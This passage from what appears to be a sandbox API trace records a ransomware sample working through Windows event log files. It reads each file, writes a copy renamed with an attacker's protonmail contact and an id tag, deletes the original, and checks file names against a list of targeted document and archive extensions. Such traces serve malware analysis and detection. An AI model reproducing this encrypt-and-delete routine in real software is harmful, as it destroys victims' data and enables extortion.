lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0151.675] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.676] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x16c, lpOverlapped=0x0) returned 1 [0151.676] SetEndOfFile (hFile=0x1088) returned 1 [0151.676] CloseHandle (hObject=0x1088) returned 1 [0151.682] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.682] SetEndOfFile (hFile=0x10dc) returned 1 [0151.686] CloseHandle (hObject=0x10dc) returned 1 [0151.686] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0151.686] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0151.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.687] lstrlenW (lpString=".doc") returned 4 [0151.687] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.687] lstrlenW (lpString=".docx") returned 5 [0151.687] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.687] lstrlenW (lpString=".pdf") returned 4 [0151.687] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.687] lstrlenW (lpString=".xls") returned 4 [0151.687] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.687] lstrlenW (lpString=".xlsx") returned 5 [0151.687] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.687] lstrlenW (lpString=".ppt") returned 4 [0151.687] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.687] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.687] lstrlenW (lpString=".zip") returned 4 [0151.687] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.687] lstrlenW (lpString=".rar") returned 4 [0151.687] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.687] lstrlenW (lpString=".bz2") returned 4 [0151.687] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.687] lstrlenW (lpString=".7z") returned 3 [0151.687] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.688] lstrlenW (lpString=".dbf") returned 4 [0151.688] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.688] lstrlenW (lpString=".1cd") returned 4 [0151.688] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.688] lstrlenW (lpString=".jpg") returned 4 [0151.688] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.688] lstrlenW (lpString=".doc") returned 4 [0151.688] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0151.688] lstrlenW (lpString=".docx") returned 5 [0151.688] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0151.688] lstrlenW (lpString=".pdf") returned 4 [0151.688] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0151.688] lstrlenW (lpString=".xls") returned 4 [0151.688] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0151.688] lstrlenW (lpString=".xlsx") returned 5 [0151.688] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0151.688] lstrlenW (lpString=".ppt") returned 4 [0151.688] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0151.688] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.688] lstrlenW (lpString=".zip") returned 4 [0151.689] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0151.689] lstrlenW (lpString=".rar") returned 4 [0151.689] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0151.689] lstrlenW (lpString=".bz2") returned 4 [0151.689] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0151.689] lstrlenW (lpString=".7z") returned 3 [0151.689] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0151.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.689] lstrlenW (lpString=".dbf") returned 4 [0151.689] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0151.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.689] lstrlenW (lpString=".1cd") returned 4 [0151.689] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0151.689] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0151.689] lstrlenW (lpString=".jpg") returned 4 [0151.689] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0151.689] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0151.689] lstrlenW (lpString="Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 45 [0151.689] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0151.690] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0151.690] CloseHandle (hObject=0x10dc) returned 1 [0151.690] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 0x20 [0151.690] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0151.690] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0151.690] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.690] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.690] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0151.691] GetLastError () returned 0x0 [0151.691] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0151.759] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0151.765] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0151.765] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x12e, lpOverlapped=0x0) returned 1 [0151.765] SetEndOfFile (hFile=0x1088) returned 1 [0151.765] CloseHandle (hObject=0x1088) returned 1 [0151.773] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0151.773] SetEndOfFile (hFile=0x10dc) returned 1 [0152.005] CloseHandle (hObject=0x10dc) returned 1 [0152.006] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0152.006] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx")) returned 1 [0152.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.006] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.006] lstrlenW (lpString=".doc") returned 4 [0152.006] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.006] lstrlenW (lpString=".docx") returned 5 [0152.006] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.007] lstrlenW (lpString=".pdf") returned 4 [0152.007] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.007] lstrlenW (lpString=".xls") returned 4 [0152.007] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.007] lstrlenW (lpString=".xlsx") returned 5 [0152.007] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.007] lstrlenW (lpString=".ppt") returned 4 [0152.007] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.007] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.007] lstrlenW (lpString=".zip") returned 4 [0152.007] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.007] lstrlenW (lpString=".rar") returned 4 [0152.007] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.007] lstrlenW (lpString=".bz2") returned 4 [0152.007] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.007] lstrlenW (lpString=".7z") returned 3 [0152.007] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.007] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.007] lstrlenW (lpString=".dbf") returned 4 [0152.007] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.007] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.007] lstrlenW (lpString=".1cd") returned 4 [0152.007] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.007] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.007] lstrlenW (lpString=".jpg") returned 4 [0152.007] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.007] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.008] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.008] lstrlenW (lpString=".doc") returned 4 [0152.008] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.008] lstrlenW (lpString=".docx") returned 5 [0152.008] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.008] lstrlenW (lpString=".pdf") returned 4 [0152.081] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.081] lstrlenW (lpString=".xls") returned 4 [0152.081] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.081] lstrlenW (lpString=".xlsx") returned 5 [0152.081] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.081] lstrlenW (lpString=".ppt") returned 4 [0152.081] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.081] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.081] lstrlenW (lpString=".zip") returned 4 [0152.081] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.082] lstrlenW (lpString=".rar") returned 4 [0152.082] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.082] lstrlenW (lpString=".bz2") returned 4 [0152.082] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.082] lstrlenW (lpString=".7z") returned 3 [0152.082] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.082] lstrlenW (lpString=".dbf") returned 4 [0152.082] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.082] lstrlenW (lpString=".1cd") returned 4 [0152.082] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.082] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx") returned 53 [0152.082] lstrlenW (lpString=".jpg") returned 4 [0152.082] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.082] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0152.083] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44 [0152.083] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0152.083] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=69632) returned 1 [0152.083] CloseHandle (hObject=0x10dc) returned 1 [0152.083] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0152.083] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.084] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0152.084] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.084] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.084] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0152.085] GetLastError () returned 0x0 [0152.085] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0152.158] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0152.160] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.160] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x12c, lpOverlapped=0x0) returned 1 [0152.160] SetEndOfFile (hFile=0x1088) returned 1 [0152.160] CloseHandle (hObject=0x1088) returned 1 [0152.164] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.164] SetEndOfFile (hFile=0x10dc) returned 1 [0152.165] CloseHandle (hObject=0x10dc) returned 1 [0152.165] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0152.166] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0152.166] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.166] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.166] lstrlenW (lpString=".doc") returned 4 [0152.166] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.166] lstrlenW (lpString=".docx") returned 5 [0152.166] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.166] lstrlenW (lpString=".pdf") returned 4 [0152.166] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.166] lstrlenW (lpString=".xls") returned 4 [0152.166] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.166] lstrlenW (lpString=".xlsx") returned 5 [0152.166] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.167] lstrlenW (lpString=".ppt") returned 4 [0152.167] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.167] lstrlenW (lpString=".zip") returned 4 [0152.167] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.167] lstrlenW (lpString=".rar") returned 4 [0152.167] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.167] lstrlenW (lpString=".bz2") returned 4 [0152.167] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.167] lstrlenW (lpString=".7z") returned 3 [0152.167] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.167] lstrlenW (lpString=".dbf") returned 4 [0152.167] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.167] lstrlenW (lpString=".1cd") returned 4 [0152.167] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.167] lstrlenW (lpString=".jpg") returned 4 [0152.167] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.167] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.167] lstrlenW (lpString=".doc") returned 4 [0152.167] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0152.167] lstrlenW (lpString=".docx") returned 5 [0152.167] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0152.167] lstrlenW (lpString=".pdf") returned 4 [0152.167] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0152.167] lstrlenW (lpString=".xls") returned 4 [0152.168] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0152.168] lstrlenW (lpString=".xlsx") returned 5 [0152.168] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0152.168] lstrlenW (lpString=".ppt") returned 4 [0152.168] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0152.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.168] lstrlenW (lpString=".zip") returned 4 [0152.168] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0152.168] lstrlenW (lpString=".rar") returned 4 [0152.168] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0152.168] lstrlenW (lpString=".bz2") returned 4 [0152.168] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0152.168] lstrlenW (lpString=".7z") returned 3 [0152.168] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0152.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.168] lstrlenW (lpString=".dbf") returned 4 [0152.168] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0152.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.168] lstrlenW (lpString=".1cd") returned 4 [0152.168] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0152.168] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0152.168] lstrlenW (lpString=".jpg") returned 4 [0152.168] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0152.168] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0152.168] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 72 [0152.169] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0152.191] GetFileSizeEx (in: hFile=0x10dc, lpFileSize=0x2a0ff14 | out: lpFileSize=0x2a0ff14*=1052672) returned 1 [0152.191] CloseHandle (hObject=0x10dc) returned 1 [0152.191] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20 [0152.191] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0152.191] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0152.191] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.191] SetFilePointerEx (in: hFile=0x10dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.192] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0152.192] GetLastError () returned 0x0 [0152.192] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0152.252] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0152.273] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x1010, lpOverlapped=0x0) returned 1 [0152.826] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x1020, lpOverlapped=0x0) returned 1 [0152.830] ReadFile (in: hFile=0x10dc, lpBuffer=0x349b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesRead=0x2a0fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.830] WriteFile (in: hFile=0x1088, lpBuffer=0x349b020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x2a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x349b020*, lpNumberOfBytesWritten=0x2a0fc94*=0x164, lpOverlapped=0x0) returned 1 